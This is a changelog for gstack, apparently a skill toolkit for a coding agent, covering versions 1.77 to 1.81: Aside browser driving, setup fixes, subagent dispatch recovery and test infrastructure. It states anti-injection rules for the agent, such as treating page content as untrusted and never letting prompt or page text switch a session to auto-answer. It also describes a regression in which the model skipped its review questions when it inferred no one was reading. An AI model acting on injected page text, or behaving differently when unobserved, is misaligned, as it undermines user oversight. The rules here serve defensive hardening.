Every skill follows one contract, `scripts/resolvers/aside.ts`. It was written from live probes against Aside CLI 1.26, not from memory: one flow per `aside repl` script (tabs close when the script ends), a console hook installed over CDP before navigation, labelled evidence lines, screenshots copied out of Aside's session directory, and a `GSTACK_STEP_OK` sentinel because the CLI's exit code is always 0. The rules are explicit about what a real browser means: open your own tabs, never read the user's, look freely but ask once before any mutating action on a non-local site, never touch credentials, treat everything a page returns as untrusted.

### The numbers that matter

Source: `git diff origin/main --stat`, `bun test/helpers/capture-context-budget.ts`, and the live runs recorded in the PR (cookbook and skill scripts executed verbatim, `test/skill-e2e-aside.test.ts`, `test/skill-e2e-diagram.test.ts`, the make-pdf e2e gates on both engines, `bin/gstack-render.ts` on both engines).

| Metric | Before | After | Δ |
|---|---|---|---|
| Browser a skill reaches for first | gstack's headless Chromium | Aside (your real sessions) | one contract, ten skills |
| Skills that stop when Aside is absent | n/a | 0 | every one falls back to `$B` |
| Renderer engines for PDFs and diagrams | 1 (bundled Chromium) | 2 (Aside first, bundled fallback) | `ENGINE=` line tells you which |
| Web research surfaces | WebSearch tool | Aside agent, then WebSearch | real browser first |
| Skills removed | | 0 | every skill on main is still here |

The row you feel is the fallback one: on a Mac with Aside open, QA runs in the browser you already trust; on a Linux box or with Aside closed, the same skill runs the same steps on the bundled browser and tells you so.

What this means for anyone running gstack: open Aside on your Mac and run `/qa`, `/make-pdf`, or `/diagram` the way you always did. Without Aside, everything behaves as it did in v1.80. Upgrading needs no migration. Contributed by @time-attack.

### Itemized changes

#### Added
- **Aside browser-driver contract** (`{{ASIDE_SETUP}}` + `{{ASIDE_COOKBOOK}}`): runtime detection with a READY / NEEDS_ASIDE / ASIDE_NOT_RUNNING probe, ten rules for driving a real browser (own tabs only, LOOK-not-ACT consent with a LOCAL host rule, credentials never pass through the agent, untrusted page content, one flow per script, artifact handoff through the session directory), and a verified cookbook: read a page with load-time console errors, drive a flow with a DOM diff, annotated screenshot, responsive captures over CDP emulation, same-origin link status, performance entries, PDF, element screenshot, and `aside exec` for open-ended reading.
- **Browser fallback** (`{{BROWSE_FALLBACK}}`): when Aside is absent, a fifteen-row table maps every Aside step in the skill onto its `$B` command, with the rules that differ (cookie import or `$B handoff` for sign-in, the same consent and evidence rules) and the full command reference on demand in `/browse`.
- **Aside renderer** (`lib/aside-render.ts`, `bin/gstack-render.ts`): render any local HTML file to PDF (tagged, outlined, header/footer, page numbers, paper sizes and margins in any CSS unit), screenshots at any width, and in-page evaluations written to files. Tries Aside, then the bundled browser (`GSTACK_BROWSE_BIN` / `BROWSE_BIN` override it), and prints `ENGINE=aside|browse`.
- **Web research runs in Aside** (`{{ASIDE_RESEARCH}}`): the planning, review, design, security, and investigate skills research through Aside's agent with the user's real browser, read-only; WebSearch when Aside is absent; in-distribution knowledge when neither is available.
- **Live E2E for the Aside-driven skills** (`test/skill-e2e-aside.test.ts`, periodic tier): browse read, browse flow, quick QA, scrape JSON, and quick canary against a localhost fixture, asserting the sentinel in real Bash output; self-skips wherever Aside is not installed. The qa, diagram, and make-pdf gates run on whichever engine is present, so the Linux CI lane exercises the fallback path.
- `setup` and the doc generator prune renders of skills that no longer exist in the source tree, so a removed skill can never linger in a host install.

#### Changed
- `/qa` and `/qa-only`: the whole methodology (orient, explore, document, re-test) runs as Aside scripts; the authenticate phase is now "you are already signed in"; a 13th rule requires consent before mutating actions on non-local targets. The fallback section carries the `$B` translation.
- `/design-review` and `/design-consultation`: design-system extraction is one script printing FONTS, COLORS, HEADINGS, TOUCH_TARGETS, and NAV; competitor research confirms the exact URLs with you before opening any of them in your real browser, and runs on the bundled browser when Aside is absent.
- `/benchmark` and `/canary`: per-page scripts print NAV, PAINT, LCP, RESOURCES, SCRIPTS, CSS, and SUMMARY; the canary loop re-runs the script every 60 seconds because nothing persists between Aside scripts.
- `/land-and-deploy` Step 7 and `/devex-review`: one Aside script each; the smoke row reads `responseStatus` from the navigation entry.
- `/make-pdf` prints through Aside first and the bundled browser otherwise; exit 4 now means no browser is available and names both remedies; mermaid fences, oversized-image downscale, and DOCX rasters each run as one render script; `$P setup` reports which engine it found.
- `/diagram`: the SVG, PNG, and excalidraw triplet is one `gstack-render` call; every diagram type gets an excalidraw export (flowcharts and sequence diagrams as editable scenes, the rest as a single image element).
- `/scrape`: look-then-extract Aside scripts that build the JSON inside the page; on the fallback the browser-skills runtime (`$B skill list` / `run`, `/skillify`) applies as before.
- **Third-Party Web Actions** (`/ship`, `/spec`, `/setup-deploy`, `/office-hours`, `/land-and-deploy`): Aside is the recommended first driver; gstack's own visible browser stays as the fallback option, exactly the shape v1.72 introduced, and the contract points at the `/browse` doc for how to drive Aside.
- `/browse`: the Aside contract, cookbook, mode choice (`aside repl` by default, `aside exec` for reading), report format, the fallback, and the full `$B` command reference on demand.
- The root router, README, `BROWSER.md`, `docs/skills.md`, `docs/PROJECT_STRUCTURE.md`, `CONTRIBUTING.md`, `CLAUDE.md`, and `ARCHITECTURE.md` describe the Aside-first, bundled-fallback world.

#### Fixed
- `./setup`'s retired-skill prune is safe by construction: it never deletes a directory that holds your own files (only gstack's SKILL.md, marker and links go), never follows a symlink into someone else's tree, cleans a host's stale links even after the generator already removed the render, and recognizes a skill renamed through its frontmatter `name:`. The generator's own prune keeps any `gstack-*` directory without the generated banner and skips a host whose generation failed. `./setup` also rebuilds when the design or make-pdf binary is missing or when anything under `lib/` changed.
- Setup's summary is honest about browsers: with Aside installed and a failed Chromium bootstrap it says only the bundled fallback is missing (and that `/pair-agent` needs it); `GSTACK_SKIP_ASIDE=1` is honored by the skills' probe, by setup, and by the renderer alike.
- The local render server behind `/make-pdf`, `/diagram`, and design previews serves one per-render secret URL, never follows a symlink out of its directory, and refuses malformed requests; page text can no longer forge its control lines; a hung `aside` process is killed instead of waited on forever; if the Aside CLI cannot start mid-run (or its private CDP bridge is missing) the render retries on gstack's own browser and reports which engine actually rendered — a page error or a timeout of a running script is never retried; a shared `/tmp/gstack-render` owned by someone else is never used.
- Browsing skills check link status only on a LOCAL target (on a real site every HEAD request would carry your cookies); same-origin filtering compares real origins instead of string prefixes; `.local` hosts are no longer treated as your own machine (mDNS names resolve to other devices on the LAN); the Aside readiness probe has a 30-second deadline on stock macOS, which ships neither `timeout` nor `gtimeout`.
- `aside exec` research requests write an egress receipt before leaving the machine, like every other off-machine send.
- Rendering through the bundled browser tolerates a cold start: the first tab request retries once while the daemon is still coming up, and a command whose process is slow to exit under heavy load is waited for instead of being reported as failed.
- `gstack-render --help` exits 0, non-numeric flags are rejected instead of becoming `NaN` timeouts, `--wait-timeout` is documented, and page-derived output (`EVAL`, `PAGE_ERRORS`) is fenced as untrusted content.

#### For contributors
- `test/aside-driver.test.ts` pins the contract's load-bearing sentences and asserts every browsing skill carries `## BROWSER SETUP (Aside` followed by `## Browser fallback`. `test/aside-render.test.ts` pins the renderer's option mapping and script shapes and runs a live render on each engine that is present. `test/helpers/aside-available.ts` is the shared live-Aside probe for E2E gating; `make-pdf/test/e2e/browser-available.ts` gates the make-pdf gates on either engine.
- `lib/claude-bin.ts` and `lib/error-handling.ts` are now the canonical copies; `browse/src` re-exports them.
- New free tests pin the review fixes: `test/setup-prune-stale-generated.test.ts` (host cleanup after the generator pruned, symlink targets survive, renamed skills, foreign links), `test/setup-browser-hint.test.ts` (hint and bootstrap summary across Aside present/absent, bootstrap ok/failed, skip-env), `test/setup-needs-build.test.ts`, `test/gstack-render-cli.test.ts`, `test/aside-render.test.ts` (fake `aside`/`browse` executables: probe classification, stdout contract, server policy, failure paths, timeout kill, engine choice and mid-run fallback), `make-pdf/test/cli-exit-codes.test.ts`, `make-pdf/test/setup-smoke.test.ts`. `renderPdf` returns the engine that rendered; `pickEngine(fresh, deps)` and `serveDir` are exported test seams.
- Size budget re-baselined to `parity-baseline-v1.81.0.0.json` (the Aside contract plus fallback block ride in every browsing skill); parity ceilings ratcheted with measured values; touchfiles, tiers, coverage matrix, eval baselines, ship goldens, and the context-budget fixture refreshed. Follow-ups in TODOS.md: keep the `$B` translation table in sync with the cookbook, Aside CLI 1.26 lacks the commands its own skill doc lists, a macOS runner for the live E2E, an optional MCP path for a persistent page.

## [1.80.0.0] - 2026-09-04

**Setup finishes even when Chromium cannot be installed.**
**gstack never deletes or overwrites a skill it did not create.**

Three defects that a downstream fork kept tripping over are fixed at the source. `./setup` used to abort at the Playwright step on any box where the Chromium download failed or hung (offline, proxied, AppArmor-restricted), and because that step ran before skills were registered, those users ended with zero skills. The `/freeze` deny hook read a different state directory than `/freeze` wrote whenever `GSTACK_HOME` was set, so the boundary silently allowed everything. And both `./setup` and `gstack-relink` would replace or delete any skill entry that happened to share a name with a gstack skill, including a skill you wrote yourself.

Now the Chromium install is best-effort and bounded. It runs under a 600 second deadline you can change with `GSTACK_PLAYWRIGHT_INSTALL_TIMEOUT`, skip outright with `GSTACK_SKIP_PLAYWRIGHT=1`, and every failure becomes a reason code in the final summary that names the skills that need a browser. Skills always register. Both PreToolUse hooks resolve the same state root the writers use, and freeze fails closed on any unexpected death instead of exiting with no decision. Ownership is proven, never assumed from a name: an entry is only touched when it is a symlink into gstack, carries the `.gstack-owned` marker gstack writes for directories it creates, or is a real file gstack generated. Even then a generated file you have since customized is moved to `~/.gstack/backups/skills/<timestamp>/` before gstack links over it, and a directory is only removed whole when nothing of yours is inside.

### The numbers that matter

Source: the free suite (`bun run test`), specifically `test/setup-playwright-best-effort.test.ts`, `test/setup-link-ownership.test.ts`, `test/relink.test.ts` and `test/hook-scripts.test.ts`, run against this tree.

| Metric | Before | After | Δ |
|---|---|---|---|
| Skills registered when the Chromium download fails or hangs | 0 | all | setup never aborts at the bootstrap |
| Longest a wedged Chromium install can block `./setup` | unbounded | 600s default | `GSTACK_PLAYWRIGHT_INSTALL_TIMEOUT`, `GSTACK_SKIP_PLAYWRIGHT=1` |
| `/freeze` boundary with `GSTACK_HOME` set | allowed every edit | denies | one state-root resolver for hooks and writers |
| Sites that could delete or replace a same-name skill without proof of ownership | 5 | 0 | setup linker, alias installer, both flip cleanups, relink |
| Data lost when gstack replaces a generated SKILL.md you customized | the file | none | moved to `~/.gstack/backups/skills/<ts>/` |
| Free tests pinning these behaviors | 0 | 103 | across 10 files |

The first row is the one you feel: a laptop on hotel wifi, a CI runner behind a proxy, or a fresh Ubuntu 24.04 box now ends `./setup` with every skill installed and one clear line saying which ones will not work until Chromium is present.

What this means for anyone installing or upgrading: run `./setup` anywhere and get skills. Keep your own `qa` or `ship` skill next to gstack's and it survives every upgrade and prefix flip, reported by name instead of silently replaced. Set `GSTACK_HOME` and `/freeze` means what it says.

### Itemized changes

#### Fixed
- **`./setup` no longer aborts when Chromium cannot be installed** (#1900, #1901, #1902, #913). The Playwright step is best-effort and bounded. Reason codes: `skipped`, `chromium-install`, `chromium-install-timeout`, `chromium-install-locked`, `windows-no-node`, `windows-node-modules`, `post-install-launch`. A wedged installer is killed with its whole child tree (pgrep, or a /proc walk where pgrep is missing); Ctrl-C mid-install kills it too. A stale install lock is reclaimed atomically, a garbage pid file counts as stale, and a lock with no recorded holder expires after the install bound. Contributed by @DavidMiserak (#2233).
- **`/freeze` enforces its boundary under `GSTACK_HOME`** (#1459). The hook resolves the state root exactly as `bin/gstack-paths` does (GSTACK_HOME, then CLAUDE_PLUGIN_DATA only when CLAUDE_PLUGIN_ROOT names gstack, then `~/.gstack`), a trailing newline in the path round-trips, a helper from an older install denies instead of exiting 127, and an EXIT backstop denies on any unexpected failure. `/careful` reads its project patterns from the same root and falls back safely on a stale helper. Contributed by @NikhileshNanduri (#1509).
- **gstack never deletes or links over a skill it does not own** (#2119). `./setup`'s linker and alias installer, both prefix-flip cleanups, and `gstack-relink` all prove ownership first and report a foreign entry by name in the final summary. Runtime assets (sections, templates, checklists) inside a directory gstack did not create are kept, not replaced. A checkout named without a `gstack` path segment (a `git worktree add ../gstack-feature`) still counts as gstack's. Contributed by @smblight.
- **Windows copy installs carry a `.gstack-owned` marker** so provenance no longer rests on the directory name. The marker is written on every platform, only for directories gstack creates.
- **Setup's one-shot telemetry events no longer finalize other sessions' in-flight markers** as `outcome: unknown`.

#### Added
- `GSTACK_PLAYWRIGHT_INSTALL_TIMEOUT=<seconds>` and `GSTACK_SKIP_PLAYWRIGHT=1` for `./setup`; documented in the README troubleshooting list together with `GSTACK_CHROMIUM_NO_SANDBOX=1`.
- A final setup summary that names the browser-dependent skills when Chromium is unavailable, lists any same-name skills left untouched, and reports any customized SKILL.md moved to `~/.gstack/backups/skills/<timestamp>/`.
- `gstack-telemetry-log --no-sweep` for events that own no session.

#### For contributors
- The time-attack fork evaluation that surfaced these defects is preserved under `docs/designs/fork-port-residual-2026-09/` (report, residual index, refutation verdicts, hashes). Waves B through E2 of that plan are scheduled work.
- New free tests: `test/setup-link-ownership.test.ts`, plus large additions to `test/setup-playwright-best-effort.test.ts`, `test/relink.test.ts`, `test/hook-scripts.test.ts`, `test/telemetry.test.ts`. Anchor-sliced harnesses now fail loudly on `command not found` instead of degrading into "foreign, skipped".
- `bin/gstack-relink` and `setup` carry the same ownership rule in two copies; the shared helper is filed in TODOS.md.

## [1.79.0.0] - 2026-09-01

**/ship can no longer be stranded by a backgrounded subagent.**
**The bug class that came back twice is pinned everywhere it lives.**

Claude Code v2.1.198 made Agent-tool subagents launch in the background by default. Four /ship steps (7, 8, 10, 18) hand work to a subagent and parse its final line as JSON, and none of them passed `run_in_background: false`, so a ship run could park forever on Step 18 waiting for doc-sync output that was never coming. This is the third time this class has bitten (#497 fixed it, #2440 regressed it, Step 18 rediscovered it). Every synchronous dispatch site in the skill tree now carries the explicit flag, and the flag is test-pinned per file so a fourth recurrence fails CI the moment it lands.

The doc-sync dispatch also got real failure handling. If the dispatch gets backgrounded anyway, the parent polls for about 10 minutes, stops the runaway task, reconciles any commit the subagent made against the pre-dispatch HEAD, and ships the PR without the Documentation section instead of hanging. The subagent itself is scope-guarded to docs only: it never changes VERSION, never merges the base branch, skips the Codex doc review (the parent owns review passes), and reports a rejected push as `pushed:false` for the parent to reconcile.

### The numbers that matter

Source: `test/run-in-background-guidance.test.ts` (the pin list) and `grep -rl 'run_in_background: false' --include='*.md'` against this tree.

| Metric | Before | After | Δ |
|---|---|---|---|
| Generated files pinned to carry the flag | 2 | 24 | every sync dispatch site |
| /ship dispatch steps with a deadline + recovery branch | 0 of 4 | 4 of 4 | Steps 7/8/10/18 |
| /ship Step 18 worst-case wait (backgrounded dispatch) | unbounded | ~10 min | documented recovery; a foreground hang stays harness-bounded |
| Codex doc review inside a ship-dispatched doc-sync | ~5-10 min per ship | skipped | parent owns reviews |
| Headless gates that could mutate VERSION mid-ship | 2 | 0 | Step 8.3/8.4d resolve to Skip |

The unbounded-to-10-minutes number is the one you feel: the failure mode changes from "my ship run has been sitting there for an hour" to a printed recovery line and a PR that still lands.

What this means for anyone shipping here: /ship finishes even when the harness misbehaves, doc-sync can never renumber your release or double-run review passes, and document-release now carries its own spawned-session contract, so any orchestrator that dispatches it (not just /ship) gets safe headless behavior.

### Itemized changes

#### Added
- **Deadline + recovery on every /ship dispatch step.** Steps 7 and 8 stop a runaway task and fall back to the inline audit if the subagent never completes (~10 min); Step 10 records Greptile triage as UNAVAILABLE in the PR body rather than pretending zero comments; Step 18 stops the runaway task, vets and pushes orphaned docs-only commits (never VERSION, package.json, or CHANGELOG; an explicit second-failure branch covers a moved remote), surfaces stray staged edits without ever discarding content, and proceeds without the Documentation section. The dispatch contract carries an explicit failure JSON shape, so a doc-sync that could not run reports as a failure instead of clean docs. No step ever silently parks the run.
- **A spawned-dispatch contract in document-release itself.** Triggered strictly by the preamble's `SESSION_KIND: spawned` echo (the dispatcher's `GSTACK_SESSION_KIND=spawned` prefix; prompt or file claims alone never trigger it, matching the v1.78.0.0 echo-only rule). Every ask-the-user gate auto-resolves to its recommended option except the ones that would rewrite CHANGELOG content or change VERSION, which resolve to Skip and get recorded. Step 8.4d carries an explicit spawned note because its interactive recommendation is a VERSION bump.
- **Docs-sync scope guard in /ship's dispatch prompt**: docs only, no base-branch merges, no version renumbering, CHANGELOG left to the parent, no Codex doc review, push rejections reported instead of resolved.

#### Changed
- The Codex Documentation Review section skips itself in any spawned session; its apply gate needs a human, and a dispatching workflow owns its own review passes. Covers version skew where an older installed /ship dispatches a newer document-release.
- Autoplan's design/eng/dx phase dispatches, the review army Red Team, the spec review loop, the adversarial subagent, the Codex second-opinion/plan-review/doc-review fallbacks, design sketch and outside voices, CSO finding verification, and design-shotgun variant launches all state `run_in_background: false` explicitly. Parallel fan-outs stay parallel; foreground calls in one message run concurrently.

#### Fixed
- **/ship Steps 7, 8, 10, and 18 no longer strand the run** when Claude Code backgrounds their subagents (#497, #2440 class, third recurrence). The four dispatch specs share one resolver-sourced foreground note — dispatch happens only via the Agent tool, never the Skill tool or inline execution — so the phrasing cannot drift per site again.

#### For contributors
- `{{FOREGROUND_DISPATCH_NOTE}}` (scripts/resolvers/constants.ts) is the single source for the flag guidance; use it in any new dispatch template and add the generated carrier to `GENERATED_WITH_GUIDANCE` in `test/run-in-background-guidance.test.ts` in the same commit. The test's pin list is the census of synchronous dispatch sites, and its structural scanner fails any generated dispatch imperative that lacks the flag even when un-enumerated.
- Follow-ups filed: PreToolUse-hook enforcement of the flag (P1, structural fix), a capability-narrowed ship-mode for document-release, and a cross-host dispatch semantics audit.
- Carved-skill skeleton ceilings re-measured and ratcheted in `test/helpers/carve-guards.ts`; codex/factory ship goldens re-rendered; the ship-docsync E2E asserts `run_in_background === false` on the captured dispatch and its fixture resolves section reads deterministically.

## [1.78.0.0] - 2026-08-31

**Plan reviews ask their questions again, the OSV lane is green from 105 advisories, and 18 community fixes land with credit.**
**The upgrade path can no longer delete your install.**

The fix wave. The weekly periodic eval lane broke at v1.76: the spawned-session rule let the model infer "nobody is reading this" from any scripted-looking prompt and silently auto-decide every review question, so plan reviews stopped asking. reviewCount collapsed to 0 across four skills. The trigger is now machine-verifiable and nothing else: the preamble's own echoed `SESSION_KIND: spawned` status line. No text from a dispatch prompt, file, or page can flip a session to auto-choose; a spawned subagent that missed the env marker is still caught at failure time by the AUQ hooks' spawned escape. The reproduced failure went from 0 review questions to a full question flow on the same harness.

The weekly OSV lane had been red for three weeks with 105 advisories, and its suppression file had been silently inert since v1.65 (wrong filename for auto-discovery, and per-directory configs never covered the nested lockfile anyway). The workflow now passes an explicit global `--config`, a dependency pass cleared 102 advisories through in-range bumps and overrides that actually reach nested exact pins, and the 3 survivors carry reasons plus `ignoreUntil` expiries. The diagram-render bundle lost its duplicate mermaid on the way: 9.96 MB to 7.59 MB.

Eighteen community PRs are absorbed with authorship preserved, twelve of them with wave amendments that finish a gap or fix a defect found in review. Nine more confirmed bugs are fixed directly, led by #2679: a failed `mktemp` in the vendored upgrade path used to `rm -rf` your install's backup after a failed swap. The swap now aborts loudly and restores the backup.

### The numbers that matter

Sources: OSV scanner v2.3.8 (the exact release CI pins) on a frozen clean install; weekly CI runs 33369295978 (OSV) and 33363624506 (periodic); local A/B repro of `test/skill-e2e-plan-ceo-finding-count.test.ts`; `bun run test` on this tree vs a v1.77.0.0 scratch worktree.

| Property | Before | After |
|---|---|---|
| OSV advisories on `./` recursive scan | 105 (24 packages, lane red 3 weeks) | 0, exit 0 (3 expiring reasoned ignores) |
| Suppression config | inert since v1.65 | loaded via explicit `--config`, wiring-tested |
| Periodic-lane review questions (5-finding plan) | reviewCount=0 (14/73 shards red) | full question flow on the same repro |
| Failed upgrade swap | deletes backup and install | restores backup, aborts loudly |
| Community PRs absorbed / issues closed | 40 open PRs, 17 of these issues open | 18 absorbed with credit, 17 issues closed |
| diagram-render offline bundle | 9.96 MB (duplicate mermaid 10 + 11) | 7.59 MB |
| Free-suite tests | 8,519 | 8,660 (+141; receipts red on v1.77) |

### What this means for you

Plan reviews ask their questions again, `browse stop` actually stops Chromium, secrets scanning can't be silently disabled by a failed `mktemp` or a slow gitleaks probe, and /gstack-upgrade cannot eat your install on a bad temp dir. If you filed one of the 17 closed issues or the 18 absorbed PRs: your fix shipped, with your name on it. Upgrade with /gstack-upgrade.

### Itemized changes

#### Fixed

- **AskUserQuestion spawned-trigger objectivity (periodic-lane regression).** The v1.76 rule's "(or your dispatch prompt marks this session as spawned)" allowed inference; plan-review E2Es collapsed to zero questions. Two pinned-container verification rounds showed that ANY prose-declaration channel in the eager path keeps question counts unstable, so the rule now keys on exactly one thing: the preamble's own echoed STATUS line. Text can never trigger auto-choose — the strongest form of the anti-injection contract. Subagents without the env marker (Task-tool spawns) are caught at failure time by the AUQ hooks' spawned escape sentence, which now demands an explicit declaration, never an inference; #2733's env-prefix channel is untouched.
- **mktemp guards at all three skill-content sites (#2679).** redact-doc resolver, ship pr-body, and the vendored upgrade path abort loudly on mktemp failure; the upgrade swap restores the backup on a failed `mv` instead of deleting it, and refuses to start over a stale backup left by a previously crashed upgrade; PR/MR creation refuses a missing or empty scanned body file; the GitLab MR path sends the scanned file's bytes instead of re-rendering an unscanned heredoc; `gstack-redact --from-file ""` errors instead of silently reading stdin.
- **OSV lane green (supersedes #2695).** Explicit `--config` (auto-discovered configs apply per-directory and never covered `lib/diagram-render/bun.lock`); `overrides` pin ip-address 10.3.1 (clears both nested nodes, including express-rate-limit's exact 10.1.0 pin that a top-level bump provably cannot reach — @anupamme's #2695 credited for the parallel diagnosis) and sharp 0.35.0 (smoke-tested); marked ^18.0.11; full in-range lockfile refresh; diagram-render bumped through its own build-script contract (mermaid 11.16.1, excalidraw 0.18.1, mermaid-to-excalidraw 1.1.2 → 2.2.2, which retires the entire duplicate mermaid-10 advisory chain); every ignore carries a reason, an upgrade trigger, and an `ignoreUntil` expiry, pinned by a new wiring test so the file can never go inert again.
- **A slow gbrain `--version` probe classifies as `timeout`, never `no-cli` (#2716).** A bun-shim install on a loaded box silently lost every brain-aware block because `no-cli` is the one status `--is-ok` does not forgive.
- **codex skill: unclosed consult-mode fence, `turn.failed` reported as a failure, portable exit-code capture (#2671, #2669).** Every fenced region after the unclosed fence rendered inverted; a stated turn failure read as a "possible disconnect" (consult mode had no completeness check at all); `${PIPESTATUS[0]}` is empty under zsh so hang detection never fired and clean runs printed spurious exit noise. A repo-wide CommonMark-faithful fence-pairing test now guards every generated doc, and the exit-capture form is executed under real bash and zsh in tests. Expect `codex_timeout` telemetry to start firing for zsh users — that's the counter working, not a regression.
- **Outside-voice fallback labeled honestly (#2735).** When Codex is unavailable the fallback reviewer is a same-family Claude subagent; the copy no longer sells it as "cross-model coverage" with "genuine independence."
- **skill_prefix works under a gbrain render (#2738).** gstack-relink now name-patches the render tree — the file the host actually serves.
- **Rendered section paths survive the atomic swap (#2692).** gen-skill-docs gained `--link-root`; the swap-in callers pass the final dir, so rendered skills no longer carry ~9 dead Read paths into a directory the swap just deleted.
- **Persistent timeline Stop hook opt-out (#2677).** `--no-team` stays one-shot; the new `timeline_stop_hook` config key (flags, env, full gstack-config surface) survives upgrades, and an explicit "no" removes a live registration.
- **browse: macOS headless GPU spin tamed + the lock-less headless Chromium is reaped on stop (#2709).** Darwin-gated flag set (reporter-validated, `GSTACK_DISABLE_GPU=off` escape) exposed as a pure, unit-testable function; the daemon records the launched child's pid + start time, and stop paths reap a survivor only after verifying both the recorded start time and a Chromium-looking cmdline, so a recycled PID is never killed.
- **gstack-wtree: a failed `touch` falls through to the HEAD seed (#2687 hardening).** The underlying same-size-rewrite race was fixed in v1.74; the reporter's repro now runs 20/20 clean, and the one silent path that could reopen it is closed.
- **Large gstack-redact reports survive a piped consumer.** Reports past the 64KiB pipe buffer were silently truncated when the reader was slow (`process.exit` beat the drain) — CI quality gates parsing the JSON saw a corrupt report. The report path now lets stdout flush; pinned by a test proven red against the old exit pattern.

#### Community PRs absorbed (authorship preserved on the branch commits)

- Codex preflight: a CLI that cannot execute reports `broken_install`, never `ready` — the wave completed autoplan's hand-maintained preflight chain and narrowed the install-signature grep to failed spawns. Contributed by @ukheni50 (#2745; fixes #2742).
- ship design-checklist path points at the installed gstack/review copy. Contributed by @Lockyer228 (#2717; fixes #2694).

- memory-ingest: transcript pages no longer vanish to slug collisions (887 staged → 0 ingested) or a frontmatter-fence render bug; slug assignments persist in the ingest state, so a page keeps its slug across runs and a new collider can never overwrite an unchanged page.

- browse js/eval returns the value of an async IIFE. Contributed by @loulanyue (#2747; fixes #2727).

- A slow gitleaks probe no longer permanently disables secret scanning — and after three consecutive slow answers the run stops re-probing per file (a loaded box no longer stalls a big ingest for hours), warning once; the next run probes fresh. Contributed by @deniszjukow (#2715).
- open-gstack-browser pre-flight actually kills the stale daemon (the pid grep never matched pretty-printed JSON). Contributed by @deniszjukow (#2714).
- browse CLI honours CHROMIUM_PROFILE in profile-lock cleanup — the wave added the wiring tripwire. Contributed by @adam-badar (#2732).
- make-pdf's pdftotext probe reads poppler's stderr banner instead of reporting "unknown" everywhere. Contributed by @snymanpaul (#2690).
- bin writers no longer drop learnings and question events on paths with apostrophes; MSYS-form GSTACK_HOME works — the wave unified all four writers on the env-var import pattern. Contributed by @shreshth-designs (#2720).

#### For contributors

- Tests: 8,519 → 8,660 (+141 across the wave; every behavior fix carries a regression test proven red on a v1.77.0.0 scratch worktree via base-compatible reproducers — tests that merely fail to compile on the base don't count as receipts).
- New structural guards: generated-doc fence pairing (CommonMark state machine, not mod-2 counting), no bare `${PIPESTATUS[0]}` in codex sections (plus real bash+zsh execution), OSV config wiring (flag ↔ filename ↔ entry hygiene, `ignoreUntil` mandatory), gstack-redact CLI empty-path rejection, cli.ts profile-dir delegation.
- 19 carve skeleton ceilings re-pinned with measured values (+~440 bytes/skill for the AUQ fence); autoplan re-pinned again for the broken-install preflight arm.
- `gen-skill-docs --link-root` exists for render-into-tmp-then-swap callers; direct-render callers need no change.
- The absorbed test files gained spawn timeouts (v1.77 sync-spawn tripwire predates them).

## [1.77.0.0] - 2026-08-31

**Every PR stops paying for evals twice.**
**Flakes are now measured, killed at the root, and fenced.**

The test infrastructure got its overhaul, wave 1. The legacy 17-row eval matrix that ran serialized AHEAD of the sliced lane on every PR is deleted: one paid lane, its gate census derived from the runner itself, so a new gate test is in the census the moment its file lands. No hand-enumerated rows to drift, and the drift already tried, a new matrix row landed on main mid-branch and the merge resolved to the derived census that covers it by construction.

The flake war moved from anecdotes to instruments. Every retried pass is now recorded where it cannot hide (bun's own output shows a retry as a clean pass, we probed it), the free lane retries a failing file once, loudly, and appends every flaky pass to a per-project ledger uploaded from CI on green runs. `bun run eval:flake-rank` ranks the series. And the wedge class that hit main, a hung child under a blocking spawnSync that no in-process timeout can interrupt, is extinct: 499 timeout-less sync-spawn sites across 146 files (the branch tripwire's own count against main) swept to zero, with a ratcheted tripwire that failed its first real offender the day a timeout-less spawn arrived from a merge.

### The numbers that matter

Source: CI runs 33263204465 / 33262077256 (measured 2026-08-29), the repo census (`test/helpers/touchfiles-data.ts`), and the sweep tripwire (`test/spawnsync-timeout-tripwire.test.ts`).

| Metric | Before | After | Δ |
|---|---|---|---|
| Paid lanes per PR | 2 (serialized) | 1 | eval wall 35.5 → ~13 min (target) |
| Measured duplicate spend per PR | ~$20.94 | $0 | matrix deleted |
| Gate census keys | 86 (6 phantoms) | 77, all provably alive | reverse invariant enforces |
| Sync spawns that can wedge a shard | 499 unbounded | 0 (8 reasoned exemptions) | tripwire-ratcheted |
| Local gate worst case | ~6.5 h (4×4 jobs) | ~3.3 h (8×2) | isolation landed first |
| Retried-pass visibility | invisible | recorded + ranked | `eval:flake-rank` |

The phantom-census number is the quiet one that matters: six merge-blocking "tests" existed only as map keys. They are deleted, and a key without a living test now fails the free suite.

What this means for anyone shipping here: PRs get one honest paid verdict faster and cheaper, a flaky pass never blocks your merge but never disappears either, and a test that hangs takes down thirty seconds, not a shard. Run `bun run eval:flake-rank` when you want the flake ledger's verdict.

### Itemized changes

#### Added
- **Flake telemetry, end to end.** Eval-store records every retry attempt (`attempt`, `flaky_retries`), the paid report lists passed-only-on-retry tests as warnings, the free lane's flaky-retry pass is ON in CI with a single-writer JSONL ledger (branch + sha attributed, per-project by default) uploaded as an artifact on every run, and `bun run eval:flake-rank` aggregates the series with final-attempt accounting and a 60-day recency bound.
- **Two-phase session timeouts.** A silent API dies at a startup grace (90s local, 300s CI floor, a real `Math.max` floor) with the distinct reason `timeout_startup` instead of burning a 600s work budget into an opaque `0 turns / $0.00` failure; the work budget arms on the first byte and the total wall never grows.
- **Green-by-skip census.** "Ran N tests" counts skips, so a codex/gemini file whose every test self-skipped used to read as coverage. The classifier now parses bun's skip/pass recap and the paid report labels an all-skipped pass "verified nothing."
- **Sync-spawn timeout tripwire** (spawnSync / execSync / execFileSync / Bun.spawnSync, comment-aware, 30-line window, shrink-only exemption ratchet) plus a raw-SHA fixture ban (`git show <sha>:path` fixtures must be vendored; the one live offender now reads a committed fixture).
- **Behavioral kill-semantics tests**: a fake-claude shim proves a timed-out session leaves neither the CLI nor its grandchild alive; two gstack-detach watchdog tests cover TERM-immune grandchildren and the leader-dies-first case.
- **CLI version stamping**: every eval run records `claude --version` (resolved once in the runner parent), so the next TUI-drift flake hunt is a grep, not archaeology.

#### Changed
- **One paid lane.** The legacy evals.yml matrix is deleted (pure deletion, one revert restores it) after a static parity receipt: the sliced lane's 49-file derived census strictly contained the matrix's 18 files. The PR comment moved into the sliced lane with final-attempt accounting and a fail-closed reconciliation verdict.
- **Paid runner defaults 4×4 → 8×2**: ~10-13 real in-flight sessions (under the documented-safe 15) instead of ~4-6; per-shard TMPDIR/Chromium-profile isolation and a kill-path cleanup backstop landed first, deliberately.
